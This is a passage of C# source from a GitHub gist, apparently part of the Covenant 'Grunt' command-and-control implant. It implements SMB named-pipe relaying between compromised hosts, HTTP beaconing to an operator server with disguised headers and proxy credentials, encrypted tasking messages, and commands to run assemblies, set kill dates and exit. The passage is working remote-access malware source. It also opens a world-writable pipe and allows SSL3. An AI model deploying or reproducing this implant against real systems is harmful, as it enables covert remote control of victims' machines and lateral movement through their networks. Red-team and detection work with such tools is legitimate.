IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID); | |
if (relay != null) | |
{ | |
relay.Write(this.Profile.FormatGetResponse(wrappedMessage)); | |
} | |
return null; | |
} | |
} | |
public void QueueTaskingMessage(string Message, string Meta = "") | |
{ | |
GruntEncryptedMessage gruntMessage = this.Crafter.Create(Message, Meta); | |
string uploaded = this.Profile.FormatPostRequest(gruntMessage); | |
lock (_MessageQueueLock) | |
{ | |
this.MessageQueue.Enqueue(uploaded); | |
} | |
} | |
public void WriteTaskingMessage() | |
{ | |
try | |
{ | |
lock (_UpstreamLock) | |
{ | |
lock (_MessageQueueLock) | |
{ | |
this.UpstreamMessenger.Write(this.MessageQueue.Dequeue()); | |
} | |
} | |
} | |
catch (InvalidOperationException) { } | |
} | |
public void SetAuthenticator(string Authenticator) | |
{ | |
lock (this._UpstreamLock) | |
{ | |
this.UpstreamMessenger.Authenticator = Authenticator; | |
} | |
} | |
public bool Connect(string Hostname, string PipeName) | |
{ | |
IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower()); | |
if (olddownstream != null) | |
{ | |
olddownstream.Close(); | |
this.DownstreamMessengers.Remove(olddownstream); | |
} | |
SMBMessenger downstream = new SMBMessenger(Hostname, PipeName); | |
Thread readThread = new Thread(() => | |
{ | |
while (downstream.IsConnected) | |
{ | |
try | |
{ | |
ProfileMessage read = downstream.Read(); | |
if (read != null && !string.IsNullOrEmpty(read.Message)) | |
{ | |
if (string.IsNullOrEmpty(downstream.Identifier)) | |
{ | |
GruntEncryptedMessage message = this.Profile.ParsePostRequest(read.Message); | |
if (message.GUID.Length == 20) | |
{ | |
downstream.Identifier = message.GUID.Substring(10); | |
} | |
else if (message.GUID.Length == 10) | |
{ | |
downstream.Identifier = message.GUID; | |
} | |
} | |
this.UpstreamMessenger.Write(read.Message); | |
} | |
} | |
catch (Exception e) | |
{ | |
Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace); | |
} | |
} | |
// Connection became disconnected and therefore we remove the downstream object | |
this.DownstreamMessengers.Remove(downstream); | |
}); | |
downstream.ReadThread = readThread; | |
downstream.ReadThread.Start(); | |
this.DownstreamMessengers.Add(downstream); | |
return true; | |
} | |
public bool Disconnect(string Identifier) | |
{ | |
IMessenger downstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier.ToLower() == Identifier.ToLower()); | |
if (downstream != null) | |
{ | |
downstream.Close(); | |
this.DownstreamMessengers.Remove(downstream); | |
return true; | |
} | |
return false; | |
} | |
} | |
public class SMBMessenger : IMessenger | |
{ | |
public string Hostname { get; } = string.Empty; | |
public string Identifier { get; set; } = string.Empty; | |
public string Authenticator { get; set; } = string.Empty; | |
public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; } | |
public Thread ReadThread { get; set; } = null; | |
private string PipeName { get; } = null; | |
// Thread that monitors the status of the named pipe and updates _IsConnected accordingly. | |
private Thread MonitoringThread { get; set; } = null; | |
// This flag syncs communication peers in case one of the them dies (see method Read and Write) | |
private bool IsServer { get; set; } | |
private int Timeout { get; set; } = 5000; | |
private object _PipeLock = new object(); | |
private PipeStream _Pipe; | |
private PipeStream Pipe | |
{ | |
get { lock (this._PipeLock) { return this._Pipe; } } | |
set { lock (this._PipeLock) { this._Pipe = value; } } | |
} | |
protected object _IsConnectedLock = new object(); | |
private bool _IsConnected; | |
public bool IsConnected | |
{ | |
get { lock (this._IsConnectedLock) { return this._IsConnected; } } | |
set { lock (this._IsConnectedLock) { this._IsConnected = value; } } | |
} | |
public SMBMessenger(string Hostname, string Pipename) | |
{ | |
this.Hostname = Hostname; | |
this.PipeName = Pipename; | |
this.IsServer = false; | |
this.InitializePipe(); | |
} | |
public SMBMessenger(PipeStream Pipe, string Pipename) | |
{ | |
this.Pipe = Pipe; | |
this.PipeName = Pipename; | |
this.IsServer = true; | |
if (Pipe != null && Pipe.IsConnected) | |
{ | |
this.IsConnected = Pipe.IsConnected; | |
this.MonitorPipeState(); | |
} | |
this.InitializePipe(); | |
} | |
public ProfileMessage Read() | |
{ | |
ProfileMessage result = null; | |
try | |
{ | |
// If the Grunt acts as SMB server, then after an interruption it shall wait in the read method until the connection | |
// is re-established. | |
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not | |
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock. | |
if (this.IsServer) | |
{ | |
this.InitializePipe(); | |
} | |
if (this.IsConnected) | |
{ | |
result = new ProfileMessage { Type = MessageType.Read, Message = Common.GruntEncoding.GetString(this.ReadBytes()) }; | |
} | |
} | |
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these | |
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll | |
// try to restablish the named pipe | |
catch (IOException) { } | |
catch (NullReferenceException) { } | |
catch (ObjectDisposedException) { } | |
return result; | |
} | |
public void Write(string Message) | |
{ | |
try | |
{ | |
// If the Grunt acts as SMB client, then after an interruption it shall wait in the write method until the connection | |
// is re-established. | |
// This ensures that after the interruption, both communication peers return to their pre-defined state. If this is not | |
// implemented, then both communication peers might return to the same state (e.g., read), which leads to a deadlock. | |
if (!this.IsServer) | |
{ | |
this.InitializePipe(); | |
} | |
if (this.IsConnected) | |
{ | |
this.WriteBytes(Common.GruntEncoding.GetBytes(Message)); | |
} | |
} | |
// These are exceptions that could be raised, if the named pipe became (unexpectedly) closed. It is important to catch these | |
// exceptions here so that the calling method can continue until it calls Read or Write the next time and then, the they'll | |
// try to restablish the named pipe | |
catch (IOException) { } | |
catch (NullReferenceException) { } | |
catch (ObjectDisposedException) { } | |
} | |
public void Close() | |
{ | |
// Close named pipe and terminate MonitoringThread by setting IsConnected to false | |
lock (this._PipeLock) | |
{ | |
try | |
{ | |
if (this._Pipe != null) | |
{ | |
this._Pipe.Close(); | |
} | |
} | |
catch (Exception) { } | |
this._Pipe = null; | |
this.IsConnected = false; | |
} | |
} | |
private void InitializePipe() | |
{ | |
if (!this.IsConnected) | |
{ | |
// If named pipe became disconnected (!this.IsConnected), then wait for a new incoming connection, else continue. | |
if (this.IsServer) | |
{ | |
PipeSecurity ps = new PipeSecurity(); | |
ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow)); | |
NamedPipeServerStream newServerPipe = new NamedPipeServerStream(this.PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps); | |
newServerPipe.WaitForConnection(); | |
this.Pipe = newServerPipe; | |
this.IsConnected = true; | |
this.MonitorPipeState(); | |
// Tell the parent Grunt the GUID so that it knows to which child grunt which messages shall be forwarded. Without this message, any further communication breaks. | |
this.UpstreamEventHandler?.Invoke(this, new MessageEventArgs { Message = string.Empty }); | |
} | |
// If named pipe became disconnected (!this.IsConnected), then try to re-connect to the SMB server, else continue. | |
else | |
{ | |
NamedPipeClientStream ClientPipe = new NamedPipeClientStream(Hostname, PipeName, PipeDirection.InOut, PipeOptions.Asynchronous); | |
ClientPipe.Connect(Timeout); | |
ClientPipe.ReadMode = PipeTransmissionMode.Byte; | |
this.Pipe = ClientPipe; | |
this.IsConnected = true; | |
// Start the pipe status monitoring thread | |
this.MonitorPipeState(); | |
} | |
} | |
} | |
private void MonitorPipeState() | |
{ | |
this.MonitoringThread = new Thread(() => | |
{ | |
while (this.IsConnected) | |
{ | |
try | |
{ | |
Thread.Sleep(1000); | |
// We cannot use this.Pipe.IsConnected because this will result in a deadlock | |
this.IsConnected = this._Pipe.IsConnected; | |
if (!this.IsConnected) | |
{ | |
this._Pipe.Close(); | |
this._Pipe = null; | |
} | |
} | |
catch (Exception) { } | |
} | |
}); | |
this.MonitoringThread.IsBackground = true; | |
this.MonitoringThread.Start(); | |
} | |
private void WriteBytes(byte[] bytes) | |
{ | |
byte[] compressed = Utilities.Compress(bytes); | |
byte[] size = new byte[4]; | |
size[0] = (byte)(compressed.Length >> 24); | |
size[1] = (byte)(compressed.Length >> 16); | |
size[2] = (byte)(compressed.Length >> 8); | |
size[3] = (byte)compressed.Length; | |
this.Pipe.Write(size, 0, size.Length); | |
var writtenBytes = 0; | |
while (writtenBytes < compressed.Length) | |
{ | |
int bytesToWrite = Math.Min(compressed.Length - writtenBytes, 1024); | |
this.Pipe.Write(compressed, writtenBytes, bytesToWrite); | |
writtenBytes += bytesToWrite; | |
} | |
} | |
private byte[] ReadBytes() | |
{ | |
byte[] size = new byte[4]; | |
int totalReadBytes = 0; | |
do | |
{ | |
totalReadBytes += this.Pipe.Read(size, 0, size.Length); | |
} while (totalReadBytes < size.Length); | |
int len = (size[0] << 24) + (size[1] << 16) + (size[2] << 8) + size[3]; | |
byte[] buffer = new byte[1024]; | |
using (var ms = new MemoryStream()) | |
{ | |
totalReadBytes = 0; | |
int readBytes = 0; | |
do | |
{ | |
readBytes = this.Pipe.Read(buffer, 0, buffer.Length); | |
ms.Write(buffer, 0, readBytes); | |
totalReadBytes += readBytes; | |
} while (totalReadBytes < len); | |
return Utilities.Decompress(ms.ToArray()); | |
} | |
} | |
} | |
public class HttpMessenger : IMessenger | |
{ | |
public string Hostname { get; } = ""; | |
public string Identifier { get; set; } = ""; | |
public string Authenticator { get; set; } = ""; | |
public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; } | |
private string CovenantURI { get; } | |
private CookieWebClient CovenantClient { get; set; } = new CookieWebClient(); | |
private object _WebClientLock = new object(); | |
private Random Random { get; set; } = new Random(); | |
private List<string> ProfileHttpHeaderNames { get; } | |
private List<string> ProfileHttpHeaderValues { get; } | |
private List<string> ProfileHttpUrls { get; } | |
private bool UseCertPinning { get; set; } | |
private bool ValidateCert { get; set; } | |
private Queue<ProfileMessage> ToReadQueue { get; } = new Queue<ProfileMessage>(); | |
public HttpMessenger(string CovenantURI, string CovenantCertHash, bool UseCertPinning, bool ValidateCert, List<string> ProfileHttpHeaderNames, List<string> ProfileHttpHeaderValues, List<string> ProfileHttpUrls) | |
{ | |
this.CovenantURI = CovenantURI; | |
this.Hostname = CovenantURI.Split(':')[1].Split('/')[2]; | |
this.ProfileHttpHeaderNames = ProfileHttpHeaderNames; | |
this.ProfileHttpHeaderValues = ProfileHttpHeaderValues; | |
this.ProfileHttpUrls = ProfileHttpUrls; | |
this.CovenantClient.UseDefaultCredentials = true; | |
this.CovenantClient.Proxy = WebRequest.DefaultWebProxy; | |
this.CovenantClient.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; | |
this.UseCertPinning = UseCertPinning; | |
this.ValidateCert = ValidateCert; | |
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; | |
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => | |
{ | |
bool valid = true; | |
if (this.UseCertPinning && CovenantCertHash != "") | |
{ | |
valid = cert.GetCertHashString() == CovenantCertHash; | |
} | |
if (valid && this.ValidateCert) | |
{ | |
valid = errors == System.Net.Security.SslPolicyErrors.None; | |
} | |
return valid; | |
}; | |
} | |
public ProfileMessage Read() | |
{ | |
if (this.ToReadQueue.Any()) | |
{ | |
return this.ToReadQueue.Dequeue(); | |
} | |
lock (this._WebClientLock) | |
{ | |
this.SetupCookieWebClient(); | |
return new ProfileMessage { Type = MessageType.Read, Message = this.CovenantClient.DownloadString(this.CovenantURI + this.GetURL()) }; | |
} | |
} | |
public void Write(string Message) | |
{ | |
lock (this._WebClientLock) | |
{ | |
this.SetupCookieWebClient(); | |
ProfileMessage ToReadMessage = new ProfileMessage { Type = MessageType.Write, Message = this.CovenantClient.UploadString(this.CovenantURI + this.GetURL(), Message) }; | |
if (ToReadMessage.Message != "") | |
{ | |
this.ToReadQueue.Enqueue(ToReadMessage); | |
} | |
} | |
} | |
public void Close() { } | |
private string GetURL() | |
{ | |
return this.ProfileHttpUrls[this.Random.Next(this.ProfileHttpUrls.Count)].Replace("{GUID}", this.Identifier); | |
} | |
private void SetupCookieWebClient() | |
{ | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
this.CovenantClient.SetCookies(new Uri(this.CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", this.Identifier)); | |
} | |
else | |
{ | |
this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", this.Identifier), ProfileHttpHeaderValues[i].Replace("{GUID}", this.Identifier)); | |
} | |
} | |
} | |
} | |
public class MessageCrafter | |
{ | |
private string GUID { get; } | |
private Aes SessionKey { get; } | |
public MessageCrafter(string GUID, Aes SessionKey) | |
{ | |
this.GUID = GUID; | |
this.SessionKey = SessionKey; | |
} | |
public GruntEncryptedMessage Create(string Message, string Meta = "") | |
{ | |
return this.Create(Common.GruntEncoding.GetBytes(Message), Meta); | |
} | |
public GruntEncryptedMessage Create(byte[] Message, string Meta = "") | |
{ | |
byte[] encryptedMessagePacket = Utilities.AesEncrypt(Message, this.SessionKey.Key); | |
byte[] encryptionIV = new byte[Common.AesIVLength]; | |
Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength); | |
byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength]; | |
Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength); | |
byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key); | |
return new GruntEncryptedMessage | |
{ | |
GUID = this.GUID, | |
Meta = Meta, | |
EncryptedMessage = Convert.ToBase64String(encryptedMessage), | |
IV = Convert.ToBase64String(encryptionIV), | |
HMAC = Convert.ToBase64String(hmac) | |
}; | |
} | |
public string Retrieve(GruntEncryptedMessage message) | |
{ | |
if (message == null || !message.VerifyHMAC(this.SessionKey.Key)) | |
{ | |
return null; | |
} | |
return Common.GruntEncoding.GetString(Utilities.AesDecrypt(message, SessionKey.Key)); | |
} | |
} | |
public class CookieWebClient : WebClient | |
{ | |
private CookieContainer CookieContainer { get; } | |
public CookieWebClient() | |
{ | |
this.CookieContainer = new CookieContainer(); | |
} | |
public void SetCookies(Uri uri, string cookies) | |
{ | |
this.CookieContainer.SetCookies(uri, cookies); | |
} | |
protected override WebRequest GetWebRequest(Uri address) | |
{ | |
var request = base.GetWebRequest(address) as HttpWebRequest; | |
if (request == null) return base.GetWebRequest(address); | |
request.CookieContainer = CookieContainer; | |
return request; | |
} | |
} | |
public enum GruntTaskingType | |
{ | |
Assembly, | |
SetDelay, | |
SetJitter, | |
SetConnectAttempts, | |
SetKillDate, | |
Exit, | |
Connect, | |
Disconnect, | |
Tasks, | |
TaskKill | |
} | |
public class GruntTaskingMessage | |
{ | |
public GruntTaskingType Type { get; set; } | |
public string Name { get; set; } | |
public string Message { get; set; } | |
public bool Token { get; set; } | |
private static string GruntTaskingMessageFormat = @"{{""type"":""{0}"",""name"":""{1}"",""message"":""{2}"",""token"":{3}}}"; | |
public static GruntTaskingMessage FromJson(string message) | |
{ | |
List<string> parseList = Utilities.Parse(message, GruntTaskingMessageFormat); | |
if (parseList.Count < 3) { return null; } | |
return new GruntTaskingMessage | |
{ | |
Type = (GruntTaskingType)Enum.Parse(typeof(GruntTaskingType), parseList[0], true), | |
Name = parseList[1], | |
Message = parseList[2], | |
Token = Convert.ToBoolean(parseList[3]) | |
}; | |
} | |
public static string ToJson(GruntTaskingMessage message) | |
{ | |
return String.Format( | |
GruntTaskingMessageFormat, | |
message.Type.ToString("D"), | |
Utilities.JavaScriptStringEncode(message.Name), | |
Utilities.JavaScriptStringEncode(message.Message), | |
message.Token | |
); | |
} | |
} | |
public enum GruntTaskingStatus | |
{ | |
Uninitialized, | |
Tasked, | |
Progressed, | |
Completed, | |
Aborted | |
} | |
public class GruntTaskingMessageResponse | |
{ | |
public GruntTaskingMessageResponse(GruntTaskingStatus status, string output) | |
{ | |
Status = status; | |
Output = output; | |
} | |
public GruntTaskingStatus Status { get; set; } | |
public string Output { get; set; } | |
private static string GruntTaskingMessageResponseFormat = @"{{""status"":""{0}"",""output"":""{1}""}}"; | |
public string ToJson() | |
{ | |
return String.Format( | |
GruntTaskingMessageResponseFormat, | |
this.Status.ToString("D"), | |
Utilities.JavaScriptStringEncode(this.Output) | |
); | |
} | |
} | |
public class GruntEncryptedMessage | |
{ | |
public enum GruntEncryptedMessageType | |
{ | |
Routing, | |
Tasking | |
} | |
public string GUID { get; set; } = ""; | |
public GruntEncryptedMessageType Type { get; set; } | |
public string Meta { get; set; } = ""; | |
public string IV { get; set; } = ""; | |
public string EncryptedMessage { get; set; } = ""; | |
public string HMAC { get; set; } = ""; | |
public bool VerifyHMAC(byte[] Key) | |
{ | |
if (EncryptedMessage == "" || HMAC == "" || Key.Length == 0) { return false; } | |
try | |
{ | |
var hashedBytes = Convert.FromBase64String(this.EncryptedMessage); | |
return Utilities.VerifyHMAC(hashedBytes, Convert.FromBase64String(this.HMAC), Key); | |
} | |
catch | |
{ | |
return false; | |
} | |
} | |
private static string GruntEncryptedMessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; | |
public static GruntEncryptedMessage FromJson(string message) | |
{ | |
List<string> parseList = Utilities.Parse(message, GruntEncryptedMessageFormat); | |
if (parseList.Count < 5) { return null; } | |
return new GruntEncryptedMessage | |
{ | |
GUID = parseList[0], | |
Type = (GruntEncryptedMessageType)int.Parse(parseList[1]), | |
Meta = parseList[2], | |
IV = parseList[3], | |
EncryptedMessage = parseList[4], | |
HMAC = parseList[5] | |
}; | |
} | |
public static string ToJson(GruntEncryptedMessage message) | |
{ | |
return String.Format( | |
GruntEncryptedMessageFormat, | |
Utilities.JavaScriptStringEncode(message.GUID), | |
message.Type.ToString("D"), | |
Utilities.JavaScriptStringEncode(message.Meta), | |
Utilities.JavaScriptStringEncode(message.IV), | |
Utilities.JavaScriptStringEncode(message.EncryptedMessage), | |
Utilities.JavaScriptStringEncode(message.HMAC) | |
); | |
} | |
} | |
public static class Common | |
{ | |
public static int AesIVLength = 16; | |
public static CipherMode AesCipherMode = CipherMode.CBC; | |
public static PaddingMode AesPaddingMode = PaddingMode.PKCS7; | |
public static Encoding GruntEncoding = Encoding.UTF8; | |
} | |
public static class Utilities | |
{ | |
// Returns IV (16 bytes) + EncryptedData byte array | |
public static byte[] AesEncrypt(byte[] data, byte[] key) | |
{ | |
Aes SessionKey = Aes.Create(); | |
SessionKey.Mode = Common.AesCipherMode; | |
SessionKey.Padding = Common.AesPaddingMode; | |
SessionKey.GenerateIV(); | |
SessionKey.Key = key; | |
byte[] encrypted = SessionKey.CreateEncryptor().TransformFinalBlock(data, 0, data.Length); | |
byte[] result = new byte[SessionKey.IV.Length + encrypted.Length]; | |
Buffer.BlockCopy(SessionKey.IV, 0, result, 0, SessionKey.IV.Length); | |
Buffer.BlockCopy(encrypted, 0, result, SessionKey.IV.Length, encrypted.Length); | |
return result; | |
} | |
// Data should be of format: IV (16 bytes) + EncryptedBytes | |
public static byte[] AesDecrypt(byte[] data, byte[] key) | |
{ | |
Aes SessionKey = Aes.Create(); | |
byte[] iv = new byte[Common.AesIVLength]; | |
Buffer.BlockCopy(data, 0, iv, 0, Common.AesIVLength); | |
SessionKey.IV = iv; | |
SessionKey.Key = key; | |
byte[] encryptedData = new byte[data.Length - Common.AesIVLength]; | |
Buffer.BlockCopy(data, Common.AesIVLength, encryptedData, 0, data.Length - Common.AesIVLength); | |
byte[] decrypted = SessionKey.CreateDecryptor().TransformFinalBlock(encryptedData, 0, encryptedData.Length); | |
return decrypted; | |
} | |
// Convenience method for decrypting an EncryptedMessagePacket | |
public static byte[] AesDecrypt(GruntEncryptedMessage encryptedMessage, byte[] key) | |
{ | |
byte[] iv = Convert.FromBase64String(encryptedMessage.IV); | |
byte[] encrypted = Convert.FromBase64String(encryptedMessage.EncryptedMessage); | |
byte[] combined = new byte[iv.Length + encrypted.Length]; | |
Buffer.BlockCopy(iv, 0, combined, 0, iv.Length); | |
Buffer.BlockCopy(encrypted, 0, combined, iv.Length, encrypted.Length); | |
return AesDecrypt(combined, key); | |
} | |
public static byte[] ComputeHMAC(byte[] data, byte[] key) | |
{ | |
HMACSHA256 SessionHmac = new HMACSHA256(key); | |
return SessionHmac.ComputeHash(data); | |
} | |
public static bool VerifyHMAC(byte[] hashedBytes, byte[] hash, byte[] key) | |
{ | |
HMACSHA256 hmac = new HMACSHA256(key); | |
byte[] calculatedHash = hmac.ComputeHash(hashedBytes); | |
// Should do double hmac? | |
return Convert.ToBase64String(calculatedHash) == Convert.ToBase64String(hash); | |
} | |
public static byte[] Compress(byte[] bytes) | |
{ | |
byte[] compressedBytes; | |
using (MemoryStream memoryStream = new MemoryStream()) | |
{ | |
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress)) | |
{ | |
deflateStream.Write(bytes, 0, bytes.Length); | |
} | |
compressedBytes = memoryStream.ToArray(); | |
} | |
return compressedBytes; | |
} | |
public static byte[] Decompress(byte[] compressed) | |
{ | |
using (MemoryStream inputStream = new MemoryStream(compressed.Length)) | |
{ | |
inputStream.Write(compressed, 0, compressed.Length); | |
inputStream.Seek(0, SeekOrigin.Begin); | |
using (MemoryStream outputStream = new MemoryStream()) | |
{ | |
using (DeflateStream deflateStream = new DeflateStream(inputStream, CompressionMode.Decompress)) | |
{ | |
byte[] buffer = new byte[4096]; | |
int bytesRead; | |
while ((bytesRead = deflateStream.Read(buffer, 0, buffer.Length)) != 0) | |
{ | |
outputStream.Write(buffer, 0, bytesRead); | |
} | |
} | |
return outputStream.ToArray(); | |
} | |
} | |
} | |
public static List<string> Parse(string data, string format) | |
{ | |
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}"); | |
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } | |
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } | |
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } | |
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } | |
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } | |
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } | |
Match match = new Regex(format).Match(data); | |
List<string> matches = new List<string>(); | |
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } | |
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } | |
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } | |
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } | |
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } | |
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } | |
return matches; | |
} | |
// Adapted from https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web/HttpUtility.cs | |
public static string JavaScriptStringEncode(string value) | |
{ | |
if (String.IsNullOrEmpty(value)) { return String.Empty; } | |
int len = value.Length; | |
bool needEncode = false; | |
char c; | |
for (int i = 0; i < len; i++) | |
{ | |
c = value[i]; | |
if (c >= 0 && c <= 31 || c == 34 || c == 39 || c == 60 || c == 62 || c == 92) | |
{ | |
needEncode = true; | |
break; | |
} | |
} | |
if (!needEncode) { return value; } | |
var sb = new StringBuilder(); | |
for (int i = 0; i < len; i++) | |
{ | |
c = value[i]; | |
if (c >= 0 && c <= 7 || c == 11 || c >= 14 && c <= 31 || c == 39 || c == 60 || c == 62) | |
{ | |
sb.AppendFormat("\\u{0:x4}", (int)c); | |
} | |
else | |
{ | |
switch ((int)c) | |
{ | |
case 8: | |
sb.Append("\\b"); | |
break; | |
case 9: | |
sb.Append("\\t"); | |
break; | |
case 10: | |
sb.Append("\\n"); | |
break; | |
case 12: | |
sb.Append("\\f"); | |
break; | |
case 13: | |
sb.Append("\\r"); | |
break; | |
case 34: | |
sb.Append("\\\""); | |
break; | |
case 92: | |
sb.Append("\\\\"); | |
break; | |
default: | |
sb.Append(c); | |
break; | |
} | |
} | |
} | |
return sb.ToString(); | |
} | |
public static class MessageTransform | |
{ | |
public static string Transform(byte[] bytes) | |
{ | |
return System.Convert.ToBase64String(bytes); | |
} | |
public static byte[] Invert(string str) | |
{ | |
return System.Convert.FromBase64String(str); | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment